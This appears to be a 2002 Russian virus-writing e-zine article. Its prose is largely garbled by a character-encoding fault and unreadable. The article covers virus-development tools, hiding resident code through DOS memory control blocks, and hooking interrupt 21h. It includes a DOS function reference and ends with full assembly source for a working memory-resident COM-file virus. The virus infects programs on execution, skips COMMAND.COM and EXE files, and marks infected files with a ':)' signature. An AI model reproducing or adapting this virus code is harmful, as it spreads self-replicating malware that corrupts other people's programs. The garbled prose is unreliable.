
                        -=POWER HEAP RESEARCH=-
            =>ᨬ p y ᫥<=

               
                                           
                                   
                                           
                          

                             
                                     
                          
                                        
                              
                        Helloween.virus@mail.ru

                         [H  ]

                     Ŀ
                      Hp 1  2002 (p 6) 
                     




                     祬   ?

      㤨,   મ  -
ࠦ ,    ࠢ訥,   ⥬    
த ⮢ ,   ⮩ 祩 
 窨 ७ 來 뢠⥫,   ணࠬ-⥬騪.
    ࠧ  稭.    ࠢ  
⥬ 맮, ᪠    ⨢    ᮢ襭⢮
᢮   ᥬ.   ᪫⥫쭮 ணࠬ஢.
 ⥫ ᪠  ணࠬ஢      
 . ,    -       
 ᠬ  ꥤ ⠥ ,    ५  
襭  ஢ . 饭 ࠧ,  ਭ樯    
.    . ᫨ 筠 ணࠬ  室    㦥-
⢥ ।,    ࠤ,  짮⥫    砥  祣
ந ⥬  , ᢮ ,       
ࠦ ⠭,    ᢮    ⮢  ࢠ
㦭 ,  ⨢    㣫   ࠭-
 짮⥫   ᭮ ଠ  .  
     ᬥ  㬪. ଥ  -
  蠣 । ⠫ ⮡ ।, ⮡    -
. ᫨  ணࠬ  ⭮    㪠  -
  ,    㦭  ।ᬮ
.    ᥣ.   ᨬ  ⮣,  ᪮쪮
᢮   祭  㠫 ०. 㣨  ᫮-
 -  -  ⢮⢮, ⥭  ਥ ணࠬ-
஢  ⥬   楢.   㣮  㯯  
⭮ ,  ६ ᮫ ᥬ , ⠢  ᢮
  . ⨢ 樨   祣      -
짮⥫ ᠬ   ࠧ.   室  "  ࠤ
樨"   .  ࠢ   ⠪    ᭮
㪫   ⮪  ⨢  ,    19
ᡮᮡ ࠥ FAT  릨 . , 筮, ᥫ,
  ⠪   㭨⮦ 뢠  ਥ ண-
ࠬ஢,  ⠭ ਬ⨢   ।⠢  -
  ࠧࠡ稪.   譨      ⨢᭨
   ன ⢥    孮-
 . , ,  쥩 㯯 ⭮  ।-
⢥, ६騥 ॥ ᮧ       
virlist  墠 ᢮ 誮 誠.   ⠪    
⭮ ࠩ ⥫쭮.  ⮣,      拉  
ਬ⨢, ⠪  95%  ᮤ࠭  㣮. ﭨ    virlist,
᪮쪮 ⠬ ᮢ ⨯ jerusalem, vienna, khiznak.  ,  
࠯ 㯮 㬪  楫 ⢮  ᥡ  -
 孮ᮩ. 猪 ᥩ ⮫  ஢ ਭ  -
   ⮣ yp, ⠢ ᢮  ࠩ    -
 .  ,       ⠪  -
.   ࠤ ⠢   窨    ᢮  virlist  
᫠  ࠭   " ଥ஢". 㤠  ᥬ 
ண.


         ।⢠ ᯮ짮  ࠧࠡ⪨ ᮢ?

    .  ⮡  뫮 㤮  ਢ筮.  
᫨  ਢ몫    ᪠,    稢  -⠪
ਤ, ᫨    ᮪孮  .  ⠪,
 ॡ :

        1) ᥬ
        2) ⫠稪
        3)    
        4) ᥬ.

   ᥬ஢   masm & tasm.  , -
 ᯮ asm86, editasm    .   .
ᬡ    ਪ ᥬ.   ⫨  ᯨ-
 ন ஢  ७ ४⨢.  ।-
 masm 6.0.  ⠪ masm 6.1,      ४-
, ⠪   ⠡쭮 ࠡ⠥. tasm  -⠪ ⮦  -
 -   ⨬  jmp',   ᫨  
室  祬  127   뢠    ⮬    -
  ,   ६    १ࢨ  3    
⠢ 㤠  NOP.    ⪨   -
⠫묨.

 ⫠稪.  ⢥ ࢮ ਡ    CodeView
 TurboDebugger   Masm/Tasm ᮮ⢥⢥.  ࠡ⠢
஥ ६    㢨,      -
稪 ॠ쭮 ०.     ⮨⢮ -    ࠡ-
  㠫쭮 ०, ਬ    win95  -    
筮. ᫨   ⮩  㤮 ⫠稪,   -
⮢ DeGlucker -   ⫠稪  饭  ०,    
 ⠪  ,    㦠   Emm386.  
 ᮢ⮢ Soft-ice - ⮦ ᮬ   ⫠稪,  
  ஬  ᫮  窠.

    . 祭    ᭨,  㤠  
ᥫ  ,  뢠 墠⨫,  室    
.  ⮣ 祭 㤮 ⨫⪨ ᯥ᪮, 력
-util, avputil    ⨫⪠ Mview. 祭   -  
㤮 ଥ ᬠਢ ᮤন , ⥬  ⠡,
墠祭 , ᥬ஢ १.

 ᥬ. 뢠 ⠪,   ࠡ⠥,     ࠦ
ன  ணࠬ 㦥 .  ᭨ 祬   
-     Hiew  Qview.    ணࠬ  
ᬮ ஢  , ᥬ஢  ,  
ப    ࠢ   ஥ HEX--
  ᥬ. 뢠,  ᠫ 쪨 ணࠬ  楫-
  ७ ᥬ hiew :)

 , ,   .  猪 ॡ  ⥪⮢  -
.  ᥩ    ᥩ  ⥪    edit.com  by  Alexander
Safonenkov. 祭 㤮  ⭠ .   䠩  -
 64   ।஢.    ।  Quick  C
2.5. ,     .   । 뢠  䠩
 300 ,   㤮⢠  ࠧ.

   筮     直 ᮡ⢥ 㫧,  -
 ⥭쪮 室   ᪮   10  :)  
  - ⮩  ᮪ ஢, ਬ -
ᨪ. ;)

                     ?

 筮 ୠ Play-Boy... , . ࠧ   ᪠,  
    Interrupt-List by Ralf Broun.  祭  -
஡ ᠭ  뢠 ⥬.  ᮤন  ᠭ
⥭ ⥬ ⥩, ଠ⮢ ,  㬥஢
㭪樨. ﭥ  ஭ .  ᫥  -
 53.         㯨    ਠ
ᨨ 38.  ⠪  樨 ଠ  4  ࠭    300.
  ஬  㤮, ஬ ⮣   ᪮, 祣  
᪠  ஭ ᨨ.  窠    -
. 뢠  .. "ࠢ筨   뢠  IBM  PC"
᪢, ⥫⢮ "", 1994.

   猪    ᥬ.  ஭
 ,     masm          
  pentium.   㬠  ࠢ 㤮.   㤮-
,   砫 - ..ਣ쥢 "⥪  ணࠬ-
஢ ய i486". ᪢, "࠭, " 1993 -
 ਥ  롮     ᠭ  -
  㪠    ६ 믮. ன  
 ⠬ ᠭ ARPL, BSWAP, DAA, FIMUL, CALL, SHRD    XOR.
᫨ 諨 ,   ᬥ  㯠.

 ⮬ -  . ⨬ ਫ .  ࠭-
  ᮤঠ ᠭ ⮢ -뢮,  ଠ  ॣ-
஢ ⠩  , ᪮ , ⥬  
.   ਬ,  .थ "ࠢ筨  ணࠬ
ᮭ ஢ ⨯ IBM PC, XT  AT", ᪢,  ".  
⨪" 1992

   ᮢ⮢ ⥪⮢  tech help.   -
 ⮦  ᭮.   १⮬.

 ० ᥣ ᫥ ᪠   ࣠樨    MS-DOS.
 ࠧ  ⪨ (),     䨪-
묨 (ਬ, ⠡ 뢠  ),  -
᪨  뢠    MCB - Memory  Control  Block  -  
16-⮢ pp, p      -
, 뤥 ᮬ. ⠪:

M/Z owner  lenght   trash              name                


 M/Z    -  p (ASCII) - p  ᫥  
          楯窥
 owner  - ᥣ p  
 lenght -    pp   MCB
 trash  -  ᯮ
 name   -  . ᫨   ᠬ ᮡ,  ⠬ ⠢
           饭 pp.

  pp p蠥 ᢮ p,   , p-
騥  ᢮,    ⢥ ᥣ   -
 0. ᫨  室  ⠢ p⭮,    ᭮
 p  㦭 pp,  ⠫  p㦠-
,   ⠢. p ⮣,      ppp
祭 owner = 8 -  ⥬ . p㦠  -
⢥  .    ⮭ -       p⠢-
 ⨯  : SC - SytemCode, SD  -  SystemData,  SS  -
SystemStack  ⠪ ,    pp  p    -
 ,    ᪮쪮  -   ⥡ p  -
.

   ⠪, ⮡  p⮬ 室   筮:

   1) ᢮ 祪   ᭮ pp
   2) 뤥 
   3) p 㤠
   4) p⠢ pᮬ  8  70h ( ᥣ  DOS  -
      ⮦ 娫)
   5) p pp.

  pp p,     뤥    -
  쪮 p  Environment    뫪    
p ,  p  - ᮡ⢥ ᠬ  pp  pp
  ⠢ .    p  ᢮  MCB.
᫨, pp, ᥣ pp 㤥 13BA,  ᥣ    MCB
祢 13B9.

  pp ᪠ p. p /   ,  ⠪    DS
ᥣ 㪠뢠  ᥣ PSP. H     p㬥,
 p p몮 砫 -䠩.  p  ⮡ -
 ⮪  p.

                org 100h
                my_size = (_end - _beg +15)/16 ; pp  pp
        _beg:
                mov ax,ds
                dec ax
                mov ds,ax
                mov bx,ds:[3]    ; 砥 pp ᭮ 
                sub bx,my_size+1 ; , 祬 ⠥
                mov ah,4Ah       ;  pp  ;)
                int 21h
                mov bx,my_size
                mov ah,48h
                int 21h
                sub ax,16       ; ,  ⭮? p㥬  100h
                mov es,ax       ; -      100h 稭
                push cs
                pop ds
                mov si,100h
                mov di,100h
                mov cx,_end - _beg
                cld
                rep movsb
                push es
                push offset _cont
                retf
        _cont:
                mov word ptr cs:[0F1h],8 ; ppp㥬 MCB
                ; [...] ⢮p  ⨬
                push ds         ; - ds - p,  ᭮ pp
                pop es
                lea si,_end
                mov di,100h
                push es
                push di
                mov cx,32000
                rep movsw       ; ᤢ pp  .
                retf
        _end:

   -   ⠪ p ,  UMB -  p⨢-
   90, pᯮ  ᥣ D000 - EFFF 
p ⮣.  砥    p樨 p    p-
p 386+,  ᯥ稢 p Emm386   qemm.  H  
  ,   ,     p  ⠬
-  , p      㤥 p㣠.  -
  p⮬  UMB   p  뤥  -
 ⠬ -  㭪 58   㭪樨. H  ,  ᮪,
p 뤥 㦭  ᯥp  UMB,  ⮬   Low -
 :

        mov ax,5800h
        int 21h
        push ax
        mov ax,5802h
        int 21h
        push ax
        mov bx,1
        mov ax,5803h
        int 21h
        mov bx,80h
        mov ax,5801h
        int 21h
        mov ah,48h      ;
        mov bx,my_size  ;   
        int 21h         ;
        sub ax,16       ;
        mov es,ax       ;
        pop cx
        pop bx
        mov ax,5801h
        int 21h
        mov bl,cl
        mov ax,5803h
        int 21h


                    墠 뢠?

   ᮢᥬ ୮.    ⠪    뢠?  
祩,  ࠭  ࠡ稪 ⮣ 뢠.   
 ࠭  ଠ ᥣ:ᬥ饭, , ᫥⥫쭮, 
 ࠭ 室 4 .  ⠪  ᥣ    256
뢠  ࠬ  00  FF,  ⠡  ஢  뢠-
  ࠧ 1024  .    ⠡  ࠭    
0000:0000,   ᠬ ࢮ  . ⠪,   㧭 -
  뢠? 祢   뢠,  -
  4. Hਬ  int 21h  0084h,   int 8   0020h.
-  ᤥ ⮡   ࠡ 뢠?  -
   ࠡ稪  ᢮ ࠡ稪,    -
⠢ 室   . ਬ, ᫨    墠-
   int 21h  楫 ࠦ  ᪠ 䠩,  
 ਬ୮ ᫥饥:

            push 0
            pop ds

            mov ax,cs           ;
            shl eax,16          ;  EAX=seg:off 襣 ࠡ稪
            lea ax,New_21       ;
            xchg eax,ds:[84h]   ; 砥  ண ࠡ稪 
                                ; ࠧ 뢠 ᢮.   ࠧ :)
            mov cs:old_21,eax   ; ࠭塞  

             ...                ;   㣮 


   New_21:                      ;   ࠡ稪
            cmp ah,4Bh          ; ஢ઠ 㭪樨.
            jz Infect           ; ,  믮   
                                ; ணࠬ ।  ds:dx
   go_21:
            byte 0EAh           ; FAR JMP   ࠡ稪
            Old_21        dd 0


   Infect:                      ;  楤 ࠦ.

            pusha               ;   뢠 ࠭ ॣ? ;)
              ..
            popa
            jmp go_21           ; 室   ࠡ稪



              ᮪   ᯮ㥬 㭪権 DOS.


  ᯨ᮪ 㭪権,     ࠧࠡ⪥ ᮢ:

        ⠭  DTA.
        ~~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 1Ah
                ds:dx   = 

        室:
                

          DTA.
        ~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 2Fh

        室:
                es:bx   = ⥪騩 

        Create -  䠩.
        ~~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 3Ch
                cx      = ਡ 䠩 (⠡ 1)
                ds:dx   =    䠩  ଠ asciz

        室:
                if CF=0 then
                  ax    = ਯ 䠩
                else
                  ax    =  訡 (3,4,5) (⠡ 2)

        Open -  騩 䠩
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 3Dh
                al      = ० 㯠 (⠡ 2)
                cx      = ਡ
                ds:dx   = 
        室:
                if CF=0 then
                  ax    = ਯ 䠩
                else
                  ax    =  訡 (1,2,3,4,5,0C)

        Close -  䠩
        ~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 3Eh
                bx      = ਯ
                ds:dx   = 
        室:
                if CF=0 then
                  ax    =
                else
                  ax    =  訡 (6)

        Read - ⥭  䠩
        ~~~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 3Fh
                bx      = ਯ
                cx      = ᫮ 
                ds:dx   =   ⥭
        室:
                if CF=0 then
                  ax    = ᫮ ⠭ 
                           祭    CX.
                          ਬ ⮬,  ॢᨫ  䠩.
                else
                  ax    =  訡 (5,6)

        Write -   䠩
        ~~~~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 40h
                bx      = ਯ
                cx      = ᫮ 
                ds:dx   =   
        室:
                if CF=0 then
                  ax    = ᫮ ᠭ 
                else
                  ax    =  訡 (5,6)

        Unlink -  䠩
        ~~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 41h
                cx      = ਡ
                ds:dx   = 
        室:
                if CF=0 then
                  ax    =
                else
                  ax    =  訡 (2,3,5)

        LSeek - ⠭ 㪠⥫  䠩
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 42h
                al      = 窠  㪠⥫:
                          0 -  砫 䠩
                          1 -  ⥪饣 
                          2 -  
                bx      = ਯ
                cx:dx   = ᬥ饭 (cx=訥 16 , dx=訥)
        室:
                if CF=0 then
                  dx:ax =   㪠⥫ ⭮⥫쭮 砫
                else
                  ax    =  訡 (1,6)

         ਡ 䠩
        ~~~~~~~~~~~~~~~~~~~~~~~
        室:
                ax      = 4300h
                ds:dx   = 
        室:
                if CF=0 then
                  cx    = ਡ
                else
                  ax    =  訡 (1,2,3,5)

        Chmod - ⠭ ਡ 䠩
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        室:
                ax      = 4301h
                cx      =  ਡ
                ds:dx   = 
        室:
                if CF=0 then
                  ax    =
                else
                  ax    =  訡 (1,2,3,5)

        뤥  
        ~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 48h
                bx      = ࠧ   ࠣ
        室:
                if CF=0 then
                  ax    = ᥣ 
                else
                  ax    =  訡 (7,8)
                  bx    = ࠧ 襣 㯭 

        ᢮ 
        ~~~~~~~~~~~~~~~~~
        室:
                ah      = 49h
                es      = ᥣ 
        室:
                if CF=0 then
                  ax    =
                else
                  ax    =  訡 (7,9)

         ࠧ  
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 4Ah
                bx      =  ࠧ
                es      = ᥣ
        室:
                if CF=0 then
                  ax    =
                else
                  ax    =  訡 (7,8,9)
                  bx    = ࠧ 襣 㯭 

        Exec - 㧨  믮 ணࠬ.
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 4Bh
                al      = ⨯ 㧪:
                        0 - 㧨  믮
                        1 - 㧨   믮
                        3 - 㧨 ૥
                        4 - 㧨  믮  䮭 ० (dos 4.0)
                es:bx   =  ࠬ஢ (⠡ 3)
                ds:dx   =  ணࠬ

        室:
                if CF=0 then
                  bx,dx ࠧ襭
                else
                  ax    =  訡 (1,2,5,8,0A,0B)

        FindFirst -   䠩.
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 4Eh
                cx      = ᪠ ਡ⮢
                ds:dx   = ᪠  ( ᮤঠ , *  ?)

        室:
                if CF=0 then
                  [DTA] -  䠩 (⠡ 4)
                else
                  ax    =  訡 (2,3,12h)

        FindNext -  ᫥騩 䠩.
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        室:
                ah      = 4Fh
                [DTA]   =   ।饣 맮 ( !)

        室:
                if CF=0 then
                  [DTA] - ᫥騩 䠩
                else
                  ax    =  訡 (12h)

           ६ 䠩.
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        室:
                ax      = 5700h
                bx      = ਯ 䠩

        室:
                if CF=0 then
                  cx    = ६ (  ⠡ 4)
                  dx    = 
                else
                  ax    =  訡 (1,6)

        ⠭   ६ 䠩.
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        室:
                ax      = 5701h
                bx      = ਯ 䠩
                cx      = ६ (  ⠡ 4)
                dx      = 

        室:
                if CF=0 then

                else
                  ax    =  訡 (1,6)


         1. ਡ 䠩:
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~
             祭
           0      ReadOnly
           1      Hidden
           2      System
           3      VolumeLabel
           4      Directory
           5      Archive
           6      not used
           7      not used
           8      Shared (only Netware)


         2.  訡.
        ~~~~~~~~~~~~~~~~~~~~~~~
          1       㭪樨
          2       
          3       
          4     誮   䠩
          5      饭
          6     ⨬ ਯ
          7     襭  ࠢ 
          8     筮 
          9     ⨬   
          A     訡 㦥
          B     ⨬ ଠ
          11       ன⢮
          12      䠩


         3.  ࠬ஢ Exec.
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        Offset  Size

          00 word   㦥,  㥬    ୥
                        . ᫨ 0,   ᥣ  뢠饩
                        ணࠬ.
          02 dword 㪠⥫     ப    ணࠬ.
                           ப -  .
          06    dword   ⥫   FCB
          0A    dword   ⥫  ன FCB
          0E dword (  al=1) 㤥  ᮤঠ  砫  ss:sp
                    ணࠬ.
          12    dword   ( al=1) 㤥 ᮤঠ ⮪ 室 cs:ip


         4.  DTA  ᪠ 䠩:
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        Offset  Size
          00     15h    १ࢨ஢.
          15h   byte    ਡ 䠩
          16h   word    ६ 䠩:  11-15 - ,
                                          5-10  - 
                                          0-4   - ᥪ㭤/2

          18h   word     䠩:   9-15  - -1980
                                          5-8   - 
                                          0-4   - 
          1Ah   dword   ࠧ 䠩.
          1Eh   0Dh      + ७  ଠ asciiz.


                         ⥩訩 COM.TSR


 ⠪, १ ⠢  㦥 㬥, ࠭ 墠-
 ⮦ 稫.    쪨  .  ࠦ-
 -譨 ⠢  ,  譨.    
᪠  ᮯ ࠧ    ஢  室,
砩, ᯮ.

        .model tiny     ;   .  ⮣ ⮡
                        ; ஢  COM-ଠ 㦭 TINY.

        .386            ;    ࠧ.

        .code           ; 砫 .

        .startup        ; 窠 室

        org 100h        ; 砫 .

        _real   equ _end - _beg         ;  ࠧ 
        _size   equ (_real+15)/16       ;  ࠧ   ࠣ

_beg:
        mov ax,cs
        dec ax
        mov ds,ax
        mov bx,ds:[3]
        sub bx,_size+1
        mov ah,4ah
        int 21h
        mov bx,_size
        mov ah,48h
        int 21h

        push cs         ;   뫠 ᥡ 
        pop ds          ; 뤥 ࠣ
        sub ax,10h
        mov es,ax
        mov di,100h
        mov si,di
        push cs
        push di
        mov cx,_real
        rep movsb
        push es         ;  । ࠢ १⭮
        push _res       ; .
        retf

_res:                   ;  ᯮ㥬  ࠦ ⮤  
        pop di          ; 砫. ⢥⢥  祭  
        push di         ;   ᫠   墮 
        mov cx,32000    ;    .
        push ds
        pop es
        rep movsw
        mov ax,1E03h    ;  !   ࠦ 
        int 21h         ; ⭮ -  ⮣  ᯮ 
        cmp ax,031Eh    ; 㭪 1E,  頥 0,  ᫨
        jz _no          ;  १,  頥 031E
        mov ds,cx
        mov ax,_int21
        mov bx,cs
        xchg ax,ds:[84h]
        xchg bx,ds:[86h]
        push cs
        pop ds
        mov ds:_go21o,ax
        mov ds:_go21s,bx
        mov word ptr ds:[0F1h],8        ;  뫨  MCB ? ;)
_no:
        push es
        pop ds
        retf
_check:
        xchg ah,al
        iret

_int21:
        cmp ax,1E03h    ; ஢ઠ  १⭮.
        jz _check
        cmp ah,4Bh      ; ࠦ  ᪥
        jnz _go
        cld
        pusha
        push es
        push ds
        mov cx,256
        xor al,al
        mov di,dx
        push ds
        pop es
        repnz scasb
        jnz _noinfect
        mov si,di               ; COMMAND.COM ࠦ 
        sub si,12
        lodsd
        and eax,0DFDFDFDFh      ; ਢ   㪢
        cmp eax,'MMOC'
        jnz _infect
        lodsw
        and ax,0DFDFh
        cmp ax,'NA'
        jz _noinfect
_infect:
        mov ah,48h      ; 뤥塞  ᢮ 㦤 64 
        mov bx,4096
        int 21h
        mov es,ax
        jnc _inf1
        mov ah,49h
        int 21h
        jmp short _noinfect
_inf1:
        mov ax,3D02h
        int 21h
        jc _noinf2
        xchg ax,bx
        push es
        pop ds
        xor dx,dx
        mov cx,-1
        mov ah,3Fh
        int 21h
        cmp word ptr ds:[0],'MZ'        ; EXE ⮦  ࠦ.
        jz _noinf
        cmp word ptr ds:[0],'ZM'
        jz _noinf
        cmp word ptr ds:[_sig - _beg],'):'      ; ஢ઠ  ࠦ
        jz _noinf
        cmp ax,64000
        jnc _noinf
        push ax
        push ds

        xor cx,cx
        xor dx,dx
        mov ax,4200h
        int 21h
        mov cx,_real    ; 뢠 .
        push cs
        pop ds
        mov dx,100h
        mov ah,40h
        int 21h
        pop ds
        pop cx
        xor dx,dx       ; 뢠 ணࠬ
        mov ah,40h      ; ,   ࠭塞 ਡ⮢  
        int 21h         ; 䠩,    . ஬ ⮣,
                        ; ⥫쭮 墠뢠 int 24 
                        ; 襭 ᪨ 訡 (ਬ,
                        ;   ᪥  ⮩  )
_noinf: mov ah,3Eh
        int 21h
_noinf2:
        mov ah,49h      ; ᢮ 
        int 21h
_noinfect:
        pop ds
        pop es
        popa
_go:
        byte 0EAh       ;  JMP FAR
_go21o  dw 0
_go21s  dw 0
_sig    byte ':)'       ;  ࠦ.   
                        ; 뢠 Smiley. ⪮  न :)

_end:
        mov dx,_msg-_end+100h
        mov ah,9
        int 21h
        mov ax,4c00h
        int 21h
_msg    db ' ⮢',13,10,36
end

                                                  AK